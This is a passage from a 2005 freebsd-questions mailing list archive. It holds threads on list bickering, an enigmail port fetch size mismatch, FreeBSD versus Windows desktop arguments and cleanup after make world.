again (being cynical) I tend to think it's a select "group" of users that are set out to divide and conquer. Keep the list in termoil, keep them bashing whom or whatever, keep them distracted from the real goals - so that when potential users want to investigate *BSD, they see the turmoil going on within the *BSD lists. Could that be a turn off to the potential new-comer? Very possible. Am I on target with this cynical point of view? Probably not however, ask yourself after reading a few weeks of the garbage that seeps into this list then pose that question again. I suppose it is all just coincidence that the list has become messy over the last few months. But is seems to me that it has increased more so since the posting on the FreeBSD site relating to the "Deep Study". Again, I'm not pointing fingers. Nor am I creating an innuendo. I'm simply drawing conclusions based on my view points and I thought I might share them in hopes that perhaps some of us will not respond to what I think are baiting posts. Just my -.02 cents from a cynical old man... -- Best regards, Chris Old age is always fifteen years older than I am. From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 12:12:16 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id ADEC916A4CE for ; Sat, 12 Feb 2005 12:12:16 +0000 (GMT) Received: from mail.aseed.antenna.nl (aseed.demon.nl [83.160.138.119]) by mx1.FreeBSD.org (Postfix) with ESMTP id E855D43D45 for ; Sat, 12 Feb 2005 12:12:15 +0000 (GMT) (envelope-from albi@scii.nl) Received: from http.aseed.antenna.nl (unknown [192.168.0.50]) by mail.aseed.antenna.nl (Postfix) with ESMTP id 8F335284695 for ; Sat, 12 Feb 2005 13:12:21 +0100 (CET) Received: from [192.168.0.111] (82-197-198-30.dsl.cambrium.nl [82.197.198.30]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by http.aseed.antenna.nl (Postfix) with ESMTP id 26B2F37021 for ; Sat, 12 Feb 2005 13:12:14 +0100 (CET) Message-ID: <420DF299.2000509@scii.nl> Date: Sat, 12 Feb 2005 13:12:09 +0100 From: albi User-Agent: Mozilla Thunderbird 1.0 (X11/20050209) X-Accept-Language: en-us, en MIME-Version: 1.0 To: questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: size mismatches while installing/downloading enigmail X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 12:12:16 -0000 hi, can someone explain the errors below ? (just did a cvsup for ports & make fetchindex, and only the one from ftp.freebsd.org seems to be fine) [ root@amandla:/usr/ports/mail/enigmail ] # make install ===> Vulnerability check disabled, database not found => enigmail-0.89.5.tar.gz doesn't seem to exist in /usr/ports/distfiles/. => Attempting to fetch from http://mozdev.secsup.org/enigmail/src/. fetch: http://mozdev.secsup.org/enigmail/src/enigmail-0.89.5.tar.gz: size mismatch: expected 358830, actual 358828 => Attempting to fetch from http://downloads.us-east3.mozdev.org/enigmail/src/. fetch: http://downloads.us-east3.mozdev.org/enigmail/src/enigmail-0.89.5.tar.gz: size mismatch: expected 358830, actual 358828 => Attempting to fetch from http://mozdev.oregonstate.edu/enigmail/src/. fetch: http://mozdev.oregonstate.edu/enigmail/src/enigmail-0.89.5.tar.gz: size mismatch: expected 358830, actual 358828 => Attempting to fetch from http://mozdev.sweetooth.org/enigmail/src/. fetch: http://mozdev.sweetooth.org/enigmail/src/enigmail-0.89.5.tar.gz: size mismatch: expected 358830, actual 358828 => Attempting to fetch from http://ftp.heanet.ie/pub/mozdev/enigmail/src/. fetch: http://ftp.heanet.ie/pub/mozdev/enigmail/src/enigmail-0.89.5.tar.gz: size mismatch: expected 358830, actual 358828 => Attempting to fetch from http://mirror.meisterwerk.net/rmozdev/enigmail/src/. fetch: http://mirror.meisterwerk.net/rmozdev/enigmail/src/enigmail-0.89.5.tar.gz: size mismatch: expected 358830, actual 358828 => Attempting to fetch from ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/distfiles/. enigmail-0.89.5.tar.gz 100% of 350 kB 26 kBps 00m00s From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 12:12:24 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A500F16A4CE for ; Sat, 12 Feb 2005 12:12:24 +0000 (GMT) Received: from makeworld.com (makeworld.com [198.92.228.38]) by mx1.FreeBSD.org (Postfix) with ESMTP id 600C243D31 for ; Sat, 12 Feb 2005 12:12:24 +0000 (GMT) (envelope-from racerx@makeworld.com) Received: from localhost (localhost.com [127.0.0.1]) by makeworld.com (Postfix) with ESMTP id DD4826110 for ; Sat, 12 Feb 2005 06:12:23 -0600 (CST) Received: from makeworld.com ([127.0.0.1]) by localhost (makeworld.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 22653-10 for ; Sat, 12 Feb 2005 06:12:22 -0600 (CST) Received: from [198.92.228.34] (racerx.makeworld.com [198.92.228.34]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by makeworld.com (Postfix) with ESMTP id 244836129 for ; Sat, 12 Feb 2005 06:12:22 -0600 (CST) Message-ID: <420DF2B2.50701@makeworld.com> Date: Sat, 12 Feb 2005 06:12:34 -0600 From: Chris User-Agent: Mozilla Thunderbird 1.0 (X11/20050101) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <1087470832.20050212130005@wanadoo.fr> <1845732846.20050212130955@wanadoo.fr> In-Reply-To: <1845732846.20050212130955@wanadoo.fr> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by ClamAV 0.75.1/amavisd-new-2.2.1 (20041222) at makeworld.com - Isn't it ironic Subject: Re: Freebsd vs. linux X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 12:12:24 -0000 Anthony Atkielski wrote: > Ted Mittelstaedt writes: > > >>S.O. on vacation? > > > I don't take vacation. > That could explain alot -- Best regards, Chris Anything good in life either causes cancer in laboratory mice or is taxed beyond reality. From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 12:13:43 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A216016A4CE for ; Sat, 12 Feb 2005 12:13:43 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 528C243D31 for ; Sat, 12 Feb 2005 12:13:43 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1CCDdj34070; Sat, 12 Feb 2005 04:13:40 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Michael C. Shultz" , Date: Sat, 12 Feb 2005 04:13:38 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <200502120402.56761.reso3w83@verizon.net> Importance: Normal Subject: RE: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 12:13:43 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Michael C. > Shultz > Sent: Saturday, February 12, 2005 4:03 AM > To: freebsd-questions@freebsd.org > Subject: Re: Instead of freebsd.com, why not... > > > > > > I can go months without rebooting. My NT machine has gone for nearly > > a year without a reboot. I don't remember ever seeing a system crash > > on my XP system, and I've only seen a handful of crashes on the NT > > system (all because of bad drivers). > > bullshit. You are a flat out liar friend. Well now Michael, maybe his experience is only with NT 3.51 - that was pretty stable before Microsoft put the GUI into ring 0 to make all the gamers happy (in NT4) Ted From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 12:18:04 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C0ED116A4CE for ; Sat, 12 Feb 2005 12:18:04 +0000 (GMT) Received: from webmail-outgoing.us4.outblaze.com (webmail-outgoing.us4.outblaze.com [205.158.62.67]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9763943D2F for ; Sat, 12 Feb 2005 12:18:04 +0000 (GMT) (envelope-from fteg@london.com) Received: from wfilter.us4.outblaze.com (wfilter.us4.outblaze.com [205.158.62.180])684C7180013A for ; Sat, 12 Feb 2005 12:18:04 +0000 (GMT) X-OB-Received: from unknown (205.158.62.49) by wfilter.us4.outblaze.com; 12 Feb 2005 12:18:04 -0000 Received: by ws1-1.us4.outblaze.com (Postfix, from userid 1001) id 4135C4BDAA; Sat, 12 Feb 2005 12:18:04 +0000 (GMT) Content-Type: text/plain; charset="iso-8859-1" Content-Disposition: inline Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Received: from [213.187.181.70] by ws1-1.us4.outblaze.com with http for fteg@london.com; Sat, 12 Feb 2005 07:18:04 -0500 From: "Fafa Diliha Romanova" To: Chris Date: Sat, 12 Feb 2005 07:18:04 -0500 X-Originating-Ip: 213.187.181.70 X-Originating-Server: ws1-1.us4.outblaze.com Message-Id: <20050212121804.4135C4BDAA@ws1-1.us4.outblaze.com> cc: questions@freebsd.org Subject: Re: make world: HOW CLEAN IS IT? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 12:18:04 -0000 but in my mail i asked: what to do? ----- Original Message ----- From: Chris To: "Fafa Diliha Romanova" Subject: Re: make world: HOW CLEAN IS IT? Date: Sat, 12 Feb 2005 05:54:10 -0600 >=20 > Fafa Diliha Romanova wrote: > > hello > > > > when i rebuild my system to stay up to date, > > does it leave behind many obsolete files to clog up > > my pure system? > > > > i am *VERY* conscious on cleanliness; > > > > does freebsd keep track of absolutely EVERY file > > it creates? > > > > also, do you guys have any tips/tricks on how to do > > system cleanup chores? like scripts, commands etc.? >=20 > The best clean-up scripts are the ones you create yourself to do=20 > exactly what you want it to do. In any event, peruse /etc/periodic. >=20 >=20 > -- Best regards, > Chris >=20 > Old age is always fifteen years older than I am. --=20 ___________________________________________________________ Sign-up for Ads Free at Mail.com http://promo.mail.com/adsfreejump.htm From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 12:19:42 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2E77D16A4CE for ; Sat, 12 Feb 2005 12:19:42 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id BBE5743D3F for ; Sat, 12 Feb 2005 12:19:41 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1CCJdj34102; Sat, 12 Feb 2005 04:19:39 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Chris" , "FreeBSD - Questions" Date: Sat, 12 Feb 2005 04:19:38 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <420DF23C.2030008@makeworld.com> Importance: Normal Subject: RE: My thoughts on the list as of late... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 12:19:42 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Chris > Sent: Saturday, February 12, 2005 4:11 AM > To: FreeBSD - Questions > Subject: OT: My thoughts on the list as of late... > > > As I read *some* (mainly because there is far too much crap going in, > and not enough decent content coming out) of the postings, I reflect > back on my personal views on mankind as a whole. > > Being of a cynical nature - I tend to look at things with a > "there must > be a reason for this influx of crapoloa in". > > I come up with, divide and conquer. I'm starting to see a pattern in > this list. Far too many users bickering about; > > 1. FreeBSD vs. (insert OS here) > 2. 4.xx is better then 5.xx > 3. Ports are crappy compared to ... > 4. Too many dependencies compared to ... > 5. FreeBSD is on SORBS ... what next? > > Etc. etc. etc. I suppose this could be just one big pissing contest, > then again (being cynical) I tend to think it's a select "group" of > users that are set out to divide and conquer. > > Keep the list in termoil, keep them bashing whom or whatever, > keep them > distracted from the real goals - so that when potential users want to > investigate *BSD, they see the turmoil going on within the *BSD lists. > > Could that be a turn off to the potential new-comer? Very possible. > Am I on target with this cynical point of view? Probably not however, > ask yourself after reading a few weeks of the garbage that seeps into > this list then pose that question again. > > I suppose it is all just coincidence that the list has become > messy over > the last few months. But is seems to me that it has increased more so > since the posting on the FreeBSD site relating to the "Deep Study". > > Again, I'm not pointing fingers. Nor am I creating an innuendo. I'm > simply drawing conclusions based on my view points and I > thought I might > share them in hopes that perhaps some of us will not respond to what I > think are baiting posts. > Good thoughts - now, I have to ask the obligatory "Is there a question somewhere here" before someone else does. You do realize that without asking one, you are participating in the non-question-based discussion you are trying to argue against, right? Ted From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 12:19:56 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8DA4F16A4CE for ; Sat, 12 Feb 2005 12:19:56 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 12D8B43D2F for ; Sat, 12 Feb 2005 12:19:56 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1108.wanadoo.fr (SMTP Server) with ESMTP id 4C9D41C0009B for ; Sat, 12 Feb 2005 13:19:55 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1108.wanadoo.fr (SMTP Server) with ESMTP id 1F72F1C00099 for ; Sat, 12 Feb 2005 13:19:55 +0100 (CET) X-ME-UUID: 20050212121955129.1F72F1C00099@mwinf1108.wanadoo.fr Date: Sat, 12 Feb 2005 13:19:54 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <466726127.20050212131954@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <200502120402.56761.reso3w83@verizon.net> References: <200502120318.18929.reso3w83@verizon.net> <200502120402.56761.reso3w83@verizon.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 12:19:56 -0000 Michael C. Shultz writes: > That was obvious by your confusion with Firefox an opera for example. What confusion? Firefox exists only for Windows, Mac OS X, and Linux. All of these require a GUI to work. I don't run a GUI on my FreeBSD machine. The only browser I have installed on FreeBSD is lynx. Opera has a wider selection of platforms (including FreeBSD), but it's still a GUI browser. > You admit you don't know what is in ports yet feel it is OK to > say FreeBSD is a poor desktop? I can say that based on the OS alone. > Ever heard the saying "better to remain silent and thought a fool....."? Yes. > How do you know? You just admitted you don't use what is in ports... Because I've checked with the vendors for these products. They ought to know. > Why would you say FreeBSD is a poor desktop when your only desktop > experience is with windows? I do have desktop experience with FreeBSD. I tried it briefly and abandoned it. It was so lame compared to Windows that it didn't take but a day or two to realize that it was a waste of my time. I don't have any emotional investment in operating systems, so I just went back to Windows. > I don't blame you, when something goes wrong on a Windows system > the solution is usually to reinstall everything. No more so than with any other OS. The main reason I disallow automatic updates is that I want to know exactly what is being installed on the machine at all times. > FreeBSD is a bit more robust than that. No, it's not. It's neither better nor worse. But in a production environment, you never do any updates automatically, anyway. > On this point I guess you'll have to take my word > seeing as you have no experience with FreeBSD as a desktop.... Just as you've taken my word about the number of applications I run simultaneously on Windows? > Why do you feel you are qualified to say FreeBSD is a poor desktop > again? Because I've used it for that purpose, along with a number of other operating systems. Windows wins by a handsome margin. The closest competitor is the Mac. Nothing else is even in the running. > bullshit Tell me again about how I should take your word for things. > bullshit. You are a flat out liar friend. If you actually used these operating systems, you would know otherwise. > NTFS frags, and slows down noticeably if you fail to defrag it. I have not noticed that. > I'll assume your line of work is not database related... I don't currently run database servers. But database servers have a lot of issues relating to performance, not just file-system fragmentation. > I'm sure it does, in your dreams. This brings back such distant memories! -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 12:24:39 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2ED4516A4CE for ; Sat, 12 Feb 2005 12:24:39 +0000 (GMT) Received: from makeworld.com (makeworld.com [198.92.228.38]) by mx1.FreeBSD.org (Postfix) with ESMTP id DC3EA43D2D for ; Sat, 12 Feb 2005 12:24:38 +0000 (GMT) (envelope-from racerx@makeworld.com) Received: from localhost (localhost.com [127.0.0.1]) by makeworld.com (Postfix) with ESMTP id 44A1E6123; Sat, 12 Feb 2005 06:24:38 -0600 (CST) Received: from makeworld.com ([127.0.0.1]) by localhost (makeworld.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 22811-05; Sat, 12 Feb 2005 06:24:36 -0600 (CST) Received: from [198.92.228.34] (racerx.makeworld.com [198.92.228.34]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by makeworld.com (Postfix) with ESMTP id 1D7D56110; Sat, 12 Feb 2005 06:24:36 -0600 (CST) Message-ID: <420DF590.1070003@makeworld.com> Date: Sat, 12 Feb 2005 06:24:48 -0600 From: Chris User-Agent: Mozilla Thunderbird 1.0 (X11/20050101) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Ted Mittelstaedt References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by ClamAV 0.75.1/amavisd-new-2.2.1 (20041222) at makeworld.com - Isn't it ironic cc: FreeBSD - Questions Subject: Re: My thoughts on the list as of late... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 12:24:39 -0000 Ted Mittelstaedt wrote: *snip* > Good thoughts - now, I have to ask the obligatory "Is there a question > somewhere here" before someone else does. > > You do realize that without asking one, you are participating in the > non-question-based discussion you are trying to argue against, right? > > Ted > > > Perhaps the question I should have directly asked; Shouldn't the list stay on target? Stay focused on the meaning of the project? Be more concerned about getting help to the users really needing it? Stop arguing about petty things? But to answer your question Ted, I was hoping the question didn't need to be asked. Perhaps error on my part. -- Best regards, Chris If an idea can survive a bureaucratic review and be implemented, it wasn't worth doing. From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 12:25:21 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2716E16A4CE for ; Sat, 12 Feb 2005 12:25:21 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id DA2AA43D2F for ; Sat, 12 Feb 2005 12:25:20 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1112.wanadoo.fr (SMTP Server) with ESMTP id 1C93F1C000A0 for ; Sat, 12 Feb 2005 13:25:20 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1112.wanadoo.fr (SMTP Server) with ESMTP id F036A1C0009C for ; Sat, 12 Feb 2005 13:25:19 +0100 (CET) X-ME-UUID: 20050212122519984.F036A1C0009C@mwinf1112.wanadoo.fr Date: Sat, 12 Feb 2005 13:25:19 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1337541312.20050212132519@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <200502120402.56761.reso3w83@verizon.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 12:25:21 -0000 Ted Mittelstaedt writes: > Well now Michael, maybe his experience is only with NT 3.51 - that was > pretty stable before Microsoft put the GUI into ring 0 to make all the > gamers happy (in NT4) Later versions of NT and its successors are also extremely stable, although you're correct in that NT 3.51 had the "purest" kernel and the greatest stability and security thereof. Putting GUI functions into the kernel and other related actions were huge steps backward. A lot of the code put into NT4 was copied wholesale from Windows 9x, and anyone who has seen the source code of both operating systems knows just how scary and depressing this is. The stabilities of NT-based systems and UNIX are roughly the same when kernels are compared. However, NT-based systems are more vulnerable to badly-written applications than UNIX systems are, and that is entirely the fault of Microsoft, which weakened the NT base deliberately beginning with NT4 in order to court the desktop market. This is one reason why I wouldn't want to see FreeBSD make the same mistake. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 12:27:07 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id AF70E16A4CF for ; Sat, 12 Feb 2005 12:27:07 +0000 (GMT) Received: from webmail-outgoing.us4.outblaze.com (webmail-outgoing.us4.outblaze.com [205.158.62.67]) by mx1.FreeBSD.org (Postfix) with ESMTP id 80CE843D2D for ; Sat, 12 Feb 2005 12:27:07 +0000 (GMT) (envelope-from fteg@london.com) Received: from wfilter.us4.outblaze.com (wfilter.us4.outblaze.com [205.158.62.180])5B82E1800125 for ; Sat, 12 Feb 2005 12:27:07 +0000 (GMT) X-OB-Received: from unknown (205.158.62.49) by wfilter.us4.outblaze.com; 12 Feb 2005 12:27:07 -0000 Received: by ws1-1.us4.outblaze.com (Postfix, from userid 1001) id 3F11A4BDAA; Sat, 12 Feb 2005 12:27:07 +0000 (GMT) Content-Type: text/plain; charset="iso-8859-1" Content-Disposition: inline Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Received: from [213.187.181.70] by ws1-1.us4.outblaze.com with http for fteg@london.com; Sat, 12 Feb 2005 07:27:07 -0500 From: "Fafa Diliha Romanova" To: "Erik Trulsson" Date: Sat, 12 Feb 2005 07:27:07 -0500 X-Originating-Ip: 213.187.181.70 X-Originating-Server: ws1-1.us4.outblaze.com Message-Id: <20050212122707.3F11A4BDAA@ws1-1.us4.outblaze.com> cc: dev@freebsd.org cc: questions@freebsd.org Subject: Re: make world: HOW CLEAN IS IT? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 12:27:07 -0000 hey; > > i am *VERY* conscious on cleanliness; > > > > does freebsd keep track of absolutely EVERY file > > it creates? >=20 > Nope, it mostly doesn't keep track of them at all. that's *VERY* bad. FUTURE FEATURE? ultimate control. YES! YESS! YESSS! Thanks, fafa --=20 ___________________________________________________________ Sign-up for Ads Free at Mail.com http://promo.mail.com/adsfreejump.htm From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 12:29:04 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EBE8B16A4CE for ; Sat, 12 Feb 2005 12:29:04 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8B10B43D1F for ; Sat, 12 Feb 2005 12:29:04 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1CCT3j34173; Sat, 12 Feb 2005 04:29:03 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Chris" , Date: Sat, 12 Feb 2005 04:29:01 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <420DF2B2.50701@makeworld.com> Importance: Normal Subject: RE: Freebsd vs. linux X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 12:29:05 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Chris > Sent: Saturday, February 12, 2005 4:13 AM > To: freebsd-questions@freebsd.org > Subject: Re: Freebsd vs. linux > > > Anthony Atkielski wrote: > > Ted Mittelstaedt writes: > > > > > >>S.O. on vacation? > > > > > > I don't take vacation. > > > > That could explain alot > Uh oh, we've been duped by an Eliza program! Ted From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 12:29:24 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B4B1D16A4CF for ; Sat, 12 Feb 2005 12:29:24 +0000 (GMT) Received: from smtp2.bahnhof.se (smtp2.bahnhof.se [213.80.101.12]) by mx1.FreeBSD.org (Postfix) with ESMTP id 50BC043D45 for ; Sat, 12 Feb 2005 12:29:23 +0000 (GMT) (envelope-from mark.rowlands@mypost.se) Received: from mfilter1.bahnhof.se (mail.bahnhof.se [213.136.33.1]) by re-injector-s2.bahnhof.se (Postfix) with ESMTP id DA66989A74 for ; Sat, 12 Feb 2005 13:29:25 +0100 (CET) Received: from localhost (mfilter1.local [127.0.0.1]) by re-injector1.bahnhof.se (Postfix) with ESMTP id 29B47129141 for ; Sat, 12 Feb 2005 13:29:22 +0100 (CET) Received: from smtp4.bahnhof.se ([213.136.33.1]) by localhost (mfilter1.bahnhof.se [10.0.1.21]) (amavisd-new, port 10024) with ESMTP id 19207-08 for ; Sat, 12 Feb 2005 13:29:20 +0100 (CET) Received: from pcmarpxy.mwrwin2k.se (81-170-150-191.bahnhofbredband.net [81.170.150.191]) by smtp4.bahnhof.se (Postfix) with ESMTP id 3B8D8195A23 for ; Sat, 12 Feb 2005 13:29:20 +0100 (CET) Received: from localhost (localhost.mwrwin2k.se [127.0.0.1]) by pcmarpxy.mwrwin2k.se (Postfix) with ESMTP id C5DADACBE8 for ; Sat, 12 Feb 2005 13:29:22 +0100 (CET) Received: from pcmarpxy.mwrwin2k.se ([127.0.0.1]) by localhost (pcmarpxy.mwrwin2k.se [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 54950-06 for ; Sat, 12 Feb 2005 13:29:21 +0100 (CET) Received: from localhost.mwrwin2k.se (localhost.mwrwin2k.se [127.0.0.1]) by pcmarpxy.mwrwin2k.se (Postfix) with ESMTP id D8D6CACBE2 for ; Sat, 12 Feb 2005 13:29:21 +0100 (CET) From: Mark Rowlands To: freebsd-questions@freebsd.org Date: Sat, 12 Feb 2005 13:29:18 +0100 User-Agent: KMail/1.7.2 References: <863bw2vxpk.fsf@xps.des.no> <163678746.20050212124602@wanadoo.fr> In-Reply-To: <163678746.20050212124602@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502121329.19902.mark.rowlands@mypost.se> X-Virus-Scanned: amavisd-new at bahnhof.se (mfilter1) X-Spam-Status: No, hits=0.323 tagged_above=-999 required=9 tests=AWL, BAYES_20, J_CHICKENPOX_12, PLING_PLING, RCVD_IN_NJABL_DUL, 